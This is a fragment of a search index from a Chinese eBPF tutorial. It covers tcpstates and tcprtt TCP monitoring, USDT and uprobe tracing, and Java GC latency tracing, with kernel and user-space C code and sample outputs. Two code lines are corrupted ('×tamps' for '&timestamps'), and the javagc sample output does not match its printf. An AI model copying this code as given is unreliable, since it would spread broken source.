tcpstates"},"84":{"body":"由于篇幅所限，这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码： const volatile bool filter_by_sport = false;\nconst volatile bool filter_by_dport = false;\nconst volatile short target_family = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} sports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} dports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct sock *); __type(value, __u64);\n} timestamps SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(__u32)); __uint(value_size, sizeof(__u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/sock/inet_sock_set_state\")\nint handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)\n{ struct sock *sk = (struct sock *)ctx->skaddr; __u16 family = ctx->family; __u16 sport = ctx->sport; __u16 dport = ctx->dport; __u64 *tsp, delta_us, ts; struct event event = {}; if (ctx->protocol != IPPROTO_TCP) return 0; if (target_family && target_family != family) return 0; if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport)) return 0; if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport)) return 0; tsp = bpf_map_lookup_elem(×tamps, &sk); ts = bpf_ktime_get_ns(); if (!tsp) delta_us = 0; else delta_us = (ts - *tsp) / 1000; event.skaddr = (__u64)sk; event.ts_us = ts / 1000; event.delta_us = delta_us; event.pid = bpf_get_current_pid_tgid() >> 32; event.oldstate = ctx->oldstate; event.newstate = ctx->newstate; event.family = family; event.sport = sport; event.dport = dport; bpf_get_current_comm(&event.task, sizeof(event.task)); if (family == AF_INET) { bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr); } else { /* family == AF_INET6 */ bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); if (ctx->newstate == TCP_CLOSE) bpf_map_delete_elem(×tamps, &sk); else bpf_map_update_elem(×tamps, &sk, &ts, BPF_ANY); return 0;\n} tcpstates主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化，从而跟踪 TCP 连接在每个状态下的停留时间。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcpstate","id":"84","title":"tcpstate"},"85":{"body":"在tcpstates程序中，首先定义了几个 BPF Maps，它们是 eBPF 程序和用户态程序之间交互的主要方式。sports和dports分别用于存储源端口和目标端口，用于过滤 TCP 连接；timestamps用于存储每个 TCP 连接的时间戳，以计算每个状态的停留时间；events则是一个 perf_event 类型的 map，用于将事件数据发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 定义 BPF Maps","id":"85","title":"定义 BPF Maps"},"86":{"body":"程序定义了一个名为handle_set_state的函数，该函数是一个 tracepoint 类型的程序，它将被挂载到sock/inet_sock_set_state这个内核 tracepoint 上。每当 TCP 连接状态发生变化时，这个 tracepoint 就会被触发，然后执行handle_set_state函数。 在handle_set_state函数中，首先通过一系列条件判断确定是否需要处理当前的 TCP 连接，然后从timestampsmap 中获取当前连接的上一个时间戳，然后计算出停留在当前状态的时间。接着，程序将收集到的数据放入一个 event 结构体中，并通过bpf_perf_event_output函数将该 event 发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 追踪 TCP 连接状态变化","id":"86","title":"追踪 TCP 连接状态变化"},"87":{"body":"最后，根据 TCP 连接的新状态，程序将进行不同的操作：如果新状态为 TCP_CLOSE，表示连接已关闭，程序将从timestampsmap 中删除该连接的时间戳；否则，程序将更新该连接的时间戳。 用户态的部分主要是通过 libbpf 来加载 eBPF 程序，然后通过 perf_event 来接收内核中的事件数据： static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { char ts[32], saddr[26], daddr[26]; struct event* e = data; struct tm* tm; int family; time_t t; if (emit_timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%8s \", ts); } inet_ntop(e->family, &e->saddr, saddr, sizeof(saddr)); inet_ntop(e->family, &e->daddr, daddr, sizeof(daddr)); if (wide_output) { family = e->family == AF_INET ? 4 : 6; printf( \"%-16llx %-7d %-16s %-2d %-26s %-5d %-26s %-5d %-11s -> %-11s \" \"%.3f\\n\", e->skaddr, e->pid, e->task, family, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); } else { printf( \"%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -> %-11s %.3f\\n\", e->skaddr, e->pid, e->task, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); }\n} handle_event就是这样一个回调函数，它会被 perf_event 调用，每当内核有新的事件到达时，它就会处理这些事件。 在handle_event函数中，我们首先通过inet_ntop函数将二进制的 IP 地址转换成人类可读的格式，然后根据是否需要输出宽格式，分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。 这样，用户就可以清晰地看到 TCP 连接状态的变化，以及每个状态的停留时间，从而帮助他们诊断网络问题。 总结起来，用户态部分的处理主要涉及到了以下几个步骤： 使用 libbpf 加载并运行 eBPF 程序。 设置回调函数来接收内核发送的事件。 处理接收到的事件，将其转换成人类可读的格式并打印。 以上就是tcpstates程序用户态部分的主要实现逻辑。通过这一章的学习，你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中，我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 更新时间戳","id":"87","title":"更新时间戳"},"88":{"body":"在本章节中，我们将分析tcprtt eBPF 程序的内核态代码。tcprtt是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序，它将 RTT 的信息统计到一个 histogram 中。 /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u64); __type(value, struct hist);\n} hists SEC(\".maps\"); static struct hist zero; SEC(\"fentry/tcp_rcv_established\")\nint BPF_PROG(tcp_rcv, struct sock *sk)\n{ const struct inet_sock *inet = (struct inet_sock *)(sk); struct tcp_sock *ts; struct hist *histp; u64 key, slot; u32 srtt; if (targ_sport && targ_sport != inet->inet_sport) return 0; if (targ_dport && targ_dport != sk->__sk_common.skc_dport) return 0; if (targ_saddr && targ_saddr != inet->inet_saddr) return 0; if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr) return 0; if (targ_laddr_hist) key = inet->inet_saddr; else if (targ_raddr_hist) key = inet->sk.__sk_common.skc_daddr; else key = 0; histp = bpf_map_lookup_or_try_init(&hists, &key, &zero); if (!histp) return 0; ts = (struct tcp_sock *)(sk); srtt = BPF_CORE_READ(ts, srtt_us) >> 3; if (targ_ms) srtt /= 1000U; slot = log2l(srtt); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); if (targ_show_ext) { __sync_fetch_and_add(&histp->latency, srtt); __sync_fetch_and_add(&histp->cnt, 1); } return 0;\n} 首先，我们定义了一个 hash 类型的 eBPF map，名为hists，它用来存储 RTT 的统计信息。在这个 map 中，键是 64 位整数，值是一个hist结构，这个结构包含了一个数组，用来存储不同 RTT 区间的数量。 接着，我们定义了一个 eBPF 程序，名为tcp_rcv，这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中，我们首先根据过滤条件（源/目标 IP 地址和端口）对 TCP 连接进行过滤。如果满足条件，我们会根据设置的参数选择相应的 key（源 IP 或者目标 IP 或者 0），然后在hists map 中查找或者初始化对应的 histogram。 接下来，我们读取 TCP 连接的srtt_us字段，这个字段表示了平滑的 RTT 值，单位是微秒。然后我们将这个 RTT 值转换为对数形式，并将其作为 slot 存储到 histogram 中。 如果设置了show_ext参数，我们还会将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 通过以上的处理，我们可以对每个 TCP 连接的 RTT 进行统计和分析，从而更好地理解网络的性能状况。 总结起来，tcprtt eBPF 程序的主要逻辑包括以下几个步骤： 根据过滤条件对 TCP 连接进行过滤。 在hists map 中查找或者初始化对应的 histogram。 读取 TCP 连接的srtt_us字段，并将其转换为对数形式，存储到 histogram 中。 如果设置了show_ext参数，将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 tcprtt 挂载到了内核态的 tcp_rcv_established 函数上： void tcp_rcv_established(struct sock *sk, struct sk_buff *skb); 这个函数是在内核中处理TCP接收数据的主要函数，主要在TCP连接处于ESTABLISHED状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用： 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。 收到了乱序的数据包。 期待接收紧急数据。 没有剩余的缓冲区空间。 接收到了意外的TCP标志/窗口值/头部长度（通过检查TCP头部与预设标志进行检测）。 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者（这意味着序列号或确认值必须保持不变）。 接收到了意外的TCP选项。 当这些条件不满足时，它会进入一个标准的接收处理过程，这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证，剩下的情况则需要内联检查。当一切都正常时，快速处理过程会在tcp_data_queue函数中被开启。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt","id":"88","title":"tcprtt"},"89":{"body":"对于 tcpstates，可以通过以下命令编译和运行 libbpf 应用： $ make\n... BPF .output/tcpstates.bpf.o GEN-SKEL .output/tcpstates.skel.h CC .output/tcpstates.o BINARY tcpstates\n$ sudo ./tcpstates SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -> SYN_SENT 0.000\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -> LAST_ACK 0.793\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> LAST_ACK 0.086\nffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> CLOSE 0.193\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 CLOSE -> LISTEN 0.000\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -> CLOSE 1.763\nffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000 对于 tcprtt，我们可以使用 eunomia-bpf 编译运行这个例子： Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc tcprtt.bpf.c tcprtt.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... 运行： $ sudo ecli run package.json -h\nA simple eBPF program Usage: package.json [OPTIONS] Options: --verbose Whether to show libbpf debug information --targ_laddr_hist Set value of `bool` variable targ_laddr_hist --targ_raddr_hist Set value of `bool` variable targ_raddr_hist --targ_show_ext Set value of `bool` variable targ_show_ext --targ_sport  Set value of `__u16` variable targ_sport --targ_dport  Set value of `__u16` variable targ_dport --targ_saddr  Set value of `__u32` variable targ_saddr --targ_daddr  Set value of `__u32` variable targ_daddr --targ_ms Set value of `bool` variable targ_ms -h, --help Print help -V, --version Print version Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run package.json\nkey = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 4 |******************** | 1024 -> 2047 : 1 |***** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 8 |****************************************| key = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 11 |*************************** | 1024 -> 2047 : 1 |** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 16 |****************************************| 8192 -> 16383 : 4 |********** | 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/14-tcpstates 参考资料： tcpstates tcprtt libbpf-tools/tcpstates","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 编译运行","id":"89","title":"编译运行"},"9":{"body":"eBPF Go库提供了一个通用的eBPF库，它解耦了获取 eBPF 字节码的过程和 eBPF 程序的加载和管理，并实现了类似 libbpf 一样的 CO- 功能。eBPF程序通常是通过编写高级语言创建的，然后使用clang/LLVM编译器编译为eBPF字节码。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF Go library","id":"9","title":"eBPF Go library"},"90":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序，监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式，包括如何使用 BPF map 存储数据，如何在 eBPF 程序中获取和处理 TCP 连接信息，以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 总结","id":"90","title":"总结"},"91":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。此外，eBPF 还支持使用 USDT (用户级静态定义跟踪点) 捕获用户态的应用程序行为。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍如何使用 eBPF 和 USDT 来捕获和分析 Java 的垃圾回收 (GC) 事件的耗时。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时","id":"91","title":"eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时"},"92":{"body":"USDT 是一种在应用程序中插入静态跟踪点的机制，它允许开发者在程序的关键位置插入可用于调试和性能分析的探针。这些探针可以在运行时被 DTrace、SystemTap 或 eBPF 等工具动态激活，从而在不重启应用程序或更改程序代码的情况下，获取程序的内部状态和性能指标。USDT 在很多开源软件，如 MySQL、PostgreSQL、Ruby、Python 和 Node.js 等都有广泛的应用。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » USDT 介绍","id":"92","title":"USDT 介绍"},"93":{"body":"在用户层面进行动态跟踪，即用户级动态跟踪（User-Level Dynamic Tracing）允许我们对任何用户级别的代码进行插桩。比如，我们可以通过在 MySQL 服务器的 dispatch_command() 函数上进行插桩，来跟踪服务器的查询请求： # ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string'\nTracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to end. mysqld-2855 [001] d... 19957757.590926: cmd: (0x6dbd40) arg1=\"show tables\" mysqld-2855 [001] d... 19957759.703497: cmd: (0x6dbd40) arg1=\"SELECT * FROM numbers\"\n[...] 这里我们使用了 uprobe 工具，它利用了 Linux 的内置功能：ftrace（跟踪器）和 uprobes（用户级动态跟踪，需要较新的 Linux 版本，例如 4.0 左右）。其他的跟踪器，如 perf_events 和 SystemTap，也可以实现此功能。 许多其他的 MySQL 函数也可以被跟踪以获取更多的信息。我们可以列出和计算这些函数的数量： # ./uprobe -l /opt/bin/mysqld | more\naccount_hash_get_key\nadd_collation\nadd_compiled_collation\nadd_plugin_noargs\nadjust_time_range\n[...]\n# ./uprobe -l /opt/bin/mysqld | wc -l\n21809 这有 21,000 个函数。我们也可以跟踪库函数，甚至是单个的指令偏移。 用户级动态跟踪的能力是非常强大的，它可以解决无数的问题。然而，使用它也有一些困难：需要确定需要跟踪的代码，处理函数参数，以及应对代码的更改。 用户级静态定义跟踪（User-level Statically Defined Tracing, USDT）则可以在某种程度上解决这些问题。USDT 探针（或者称为用户级 \"marker\"）是开发者在代码的关键位置插入的跟踪宏，提供稳定且已经过文档说明的 API。这使得跟踪工作变得更加简单。 使用 USDT，我们可以简单地跟踪一个名为 mysql:query__start 的探针，而不是去跟踪那个名为 _Z16dispatch_command19enum_server_commandP3THDPcj 的 C++ 符号，也就是 dispatch_command() 函数。当然，我们仍然可以在需要的时候去跟踪 dispatch_command() 以及 其他 21,000 个 mysqld 函数，但只有当 USDT 探针无法解决问题的时候我们才需要这么做。 在 Linux 中的 USDT，无论是哪种形式的静态跟踪点，其实都已经存在了几十年。它最近由于 Sun 的 DTrace 工具的流行而再次受到关注，这使得许多常见的应用程序，包括 MySQL、PostgreSQL、Node.js、Java 等都加入了 USDT。SystemTap 则开发了一种可以消费这些 DTrace 探针的方式。 你可能正在运行一个已经包含了 USDT 探针的 Linux 应用程序，或者可能需要重新编译（通常是 --enable-dtrace）。你可以使用 readelf 来进行检查，例如对于 Node.js： # readelf -n node\n[...]\nNotes at offset 0x00c43058 with length 0x00000494: Owner Data size Description stapsdt 0x0000003c NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: gc__start Location: 0x0000000000bf44b4, Base: 0x0000000000f22464, Semaphore: 0x0000000001243028 Arguments: 4@%esi 4@%edx 8@%rdi\n[...] stapsdt 0x00000082 NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: http__client__request Location: 0x0000000000bf48ff, Base: 0x0000000000f22464, Semaphore: 0x0000000001243024 Arguments: 8@%rax 8@%rdx 8@-136(%rbp) -4@-140(%rbp) 8@-72(%rbp) 8@-80(%rbp) -4@-144(%rbp)\n[...] 这就是使用 --enable-dtrace 重新编译的 node，以及安装了提供 \"dtrace\" 功能来构建 USDT 支持的 systemtap-sdt-dev 包。这里显示了两个探针：node:gc__start（开始进行垃圾回收）和 node:http__client__request。 在这一点上，你可以使用 SystemTap 或者 LTTng 来跟踪这些探针。然而，内置的 Linux 跟踪器，比如 ftrace 和 perf_events，目前还无法做到这一点（尽管 perf_events 的支持正在开发中）。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 用户层面的追踪机制：用户级动态跟踪和 USDT","id":"93","title":"用户层面的追踪机制：用户级动态跟踪和 USDT"},"94":{"body":"Java 作为一种高级编程语言，其自动垃圾回收（GC）是其核心特性之一。Java GC 的目标是自动地回收那些不再被程序使用的内存空间，从而减轻程序员在内存管理方面的负担。然而，GC 过程可能会引发应用程序的停顿，对程序的性能和响应时间产生影响。因此，对 Java GC 事件进行监控和分析，对于理解和优化 Java 应用的性能是非常重要的。 在接下来的教程中，我们将演示如何使用 eBPF 和 USDT 来监控和分析 Java GC 事件的耗时，希望这些内容对你在使用 eBPF 进行应用性能分析方面的工作有所帮助。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » Java GC 介绍","id":"94","title":"Java GC 介绍"},"95":{"body":"Java GC 的 eBPF 程序分为内核态和用户态两部分，我们会分别介绍这两部分的实现机制。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 实现机制","id":"95","title":"eBPF 实现机制"},"96":{"body":"/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2022 Chen Tao */\n#include \n#include \n#include \n#include \n#include \"javagc.h\" struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 100); __type(key, uint32_t); __type(value, struct data_t);\n} data_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __type(key, int); __type(value, int);\n} perf_map SEC(\".maps\"); __u32 time; static int gc_start(struct pt_regs *ctx)\n{ struct data_t data = {}; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); bpf_map_update_elem(&data_map, &data.pid, &data, 0); return 0;\n} static int gc_end(struct pt_regs *ctx)\n{ struct data_t data = {}; struct data_t *p; __u32 val; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); p = bpf_map_lookup_elem(&data_map, &data.pid); if (!p) return 0; val = data.ts - p->ts; if (val > time) { data.ts = val; bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data)); } bpf_map_delete_elem(&data_map, &data.pid); return 0;\n} SEC(\"usdt\")\nint handle_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 首先，我们定义了两个映射（map）： data_map：这个 hashmap 存储每个进程 ID 的垃圾收集开始时间。data_t 结构体包含进程 ID、CPU ID 和时间戳。 perf_map：这是一个 perf event array，用于将数据发送回用户态程序。 然后，我们有四个处理函数：gc_start、gc_end 和两个 USDT 处理函数 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end。这些函数都用 BPF 的 SEC(\"usdt\") 宏注解，以便在 Java 进程中捕获到与垃圾收集相关的 USDT 事件。 gc_start 函数在垃圾收集开始时被调用。它首先获取当前的 CPU ID、进程 ID 和时间戳，然后将这些数据存入 data_map。 gc_end 函数在垃圾收集结束时被调用。它执行与 gc_start 类似的操作，但是它还从 data_map 中检索开始时间，并计算垃圾收集的持续时间。如果持续时间超过了设定的阈值（变量 time），那么它将数据发送回用户态程序。 handle_gc_start 和 handle_gc_end 是针对垃圾收集开始和结束事件的处理函数，它们分别调用了 gc_start 和 gc_end。 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end 是针对内存池的垃圾收集开始和结束事件的处理函数，它们也分别调用了 gc_start 和 gc_end。 最后，我们有一个 LICENSE 数组，声明了该 BPF 程序的许可证，这是加载 BPF 程序所必需的。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 内核态程序","id":"96","title":"内核态程序"},"97":{"body":"用户态程序的主要目标是加载和运行eBPF程序，以及处理来自内核态程序的数据。它是通过 libbpf 库来完成这些操作的。这里我们省略了一些通用的加载和运行 eBPF 程序的代码，只展示了与 USDT 相关的部分。 第一个函数 get_jvmso_path 被用来获取运行的Java虚拟机（JVM）的 libjvm.so 库的路径。首先，它打开了 /proc//maps 文件，该文件包含了进程地址空间的内存映射信息。然后，它在文件中搜索包含 libjvm.so 的行，然后复制该行的路径到提供的参数中。 static int get_jvmso_path(char *path)\n{ char mode[16], line[128], buf[64]; size_t seg_start, seg_end, seg_off; FILE *f; int i = 0; sprintf(buf, \"/proc/%d/maps\", env.pid); f = fopen(buf, \"r\"); if (!f) return -1; while (fscanf(f, \"%zx-%zx %s %zx %*s %*d%[^\\n]\\n\", &seg_start, &seg_end, mode, &seg_off, line) == 5) { i = 0; while (isblank(line[i])) i++; if (strstr(line + i, \"libjvm.so\")) { break; } } strcpy(path, line + i); fclose(f); return 0;\n} 接下来，我们看到的是将 eBPF 程序（函数 handle_gc_start 和 handle_gc_end）附加到Java进程的相关USDT探针上。每个程序都通过调用 bpf_program__attach_usdt 函数来实现这一点，该函数的参数包括BPF程序、进程ID、二进制路径以及探针的提供者和名称。如果探针挂载成功，bpf_program__attach_usdt 将返回一个链接对象，该对象将存储在skeleton的链接成员中。如果挂载失败，程序将打印错误消息并进行清理。 skel->links.handle_mem_pool_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, binary_path, \"hotspot\", \"mem__pool__gc__begin\", NULL); if (!skel->links.handle_mem_pool_gc_start) { err = errno; fprintf(stderr, \"attach usdt mem__pool__gc__begin failed: %s\\n\", strerror(err)); goto cleanup; } skel->links.handle_mem_pool_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, binary_path, \"hotspot\", \"mem__pool__gc__end\", NULL); if (!skel->links.handle_mem_pool_gc_end) { err = errno; fprintf(stderr, \"attach usdt mem__pool__gc__end failed: %s\\n\", strerror(err)); goto cleanup; } skel->links.handle_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, binary_path, \"hotspot\", \"gc__begin\", NULL); if (!skel->links.handle_gc_start) { err = errno; fprintf(stderr, \"attach usdt gc__begin failed: %s\\n\", strerror(err)); goto cleanup; } skel->links.handle_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, binary_path, \"hotspot\", \"gc__end\", NULL); if (!skel->links.handle_gc_end) { err = errno; fprintf(stderr, \"attach usdt gc__end failed: %s\\n\", strerror(err)); goto cleanup; } 最后一个函数 handle_event 是一个回调函数，用于处理从perf event array收到的数据。这个函数会被 perf event array 触发，并在每次接收到新的事件时调用。函数首先将数据转换为 data_t 结构体，然后将当前时间格式化为字符串，并打印出事件的时间戳、CPU ID、进程 ID，以及垃圾回收的持续时间。 static void handle_event(void *ctx, int cpu, void *data, __u32 data_sz)\n{ struct data_t *e = (struct data_t *)data; struct tm *tm = NULL; char ts[16]; time_t t; time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%-8s %-7d %-7d %-7lld\\n\", ts, e->cpu, e->pid, e->ts/1000);\n}","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 用户态程序","id":"97","title":"用户态程序"},"98":{"body":"构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 在 Ubuntu/Debian 上，你需要执行以下命令： sudo apt install clang libelf1 libelf-dev zlib1g-dev 在 CentOS/Fedora 上，你需要执行以下命令： sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 安装依赖","id":"98","title":"安装依赖"},"99":{"body":"在对应的目录中，运行 Make 即可编译运行上述代码： $ make\n$ sudo ./javagc -p 12345\nTracing javagc time... Hit Ctrl-C to end.\nTIME CPU PID GC TIME\n10:00:01 10% 12345 50ms\n10:00:02 12% 12345 55ms\n10:00:03 9% 12345 47ms\n10:00:04 13% 12345 52ms\n10:00:05 11% 12345 50ms 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/15-javagc 参考资料： https://www.brendangregg.com/blog/2015-07-03/hacking-linux-usdt-ftrace.html https://github.com/iovisor/bcc/blob/master/libbpf-tools/javagc.c","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 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eBPF 的基本概念、常见的开发工具 » eBPF 入门开发实践教程零：介绍 eBPF 的基本概念、常见的开发工具","id":"0","title":"eBPF 入门开发实践教程零：介绍 eBPF 的基本概念、常见的开发工具"},"1":{"body":"eBPF 是一项革命性的技术，起源于 Linux 内核，可以在操作系统的内核中运行沙盒程序。它被用来安全和有效地扩展内核的功能，而不需要改变内核的源代码或加载内核模块。eBPF 通过允许在操作系统内运行沙盒程序，应用程序开发人员可以在运行时，可编程地向操作系统动态添加额外的功能。然后，操作系统保证安全和执行效率，就像在即时编译（JIT）编译器和验证引擎的帮助下进行本地编译一样。eBPF 程序在内核版本之间是可移植的，并且可以自动更新，从而避免了工作负载中断和节点重启。 今天，eBPF被广泛用于各类场景：在现代数据中心和云原生环境中，可以提供高性能的网络包处理和负载均衡；以非常低的资源开销，做到对多种细粒度指标的可观测性，帮助应用程序开发人员跟踪应用程序，为性能故障排除提供洞察力；保障应用程序和容器运行时的安全执行，等等。可能性是无穷的，而 eBPF 在操作系统内核中所释放的创新才刚刚开始[3]。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 1. eBPF简介：安全和有效地扩展内核","id":"1","title":"1. eBPF简介：安全和有效地扩展内核"},"10":{"body":"libbpf-bootstrap是一个基于libbpf库的BPF开发脚手架，从其 github 上可以得到其源码。 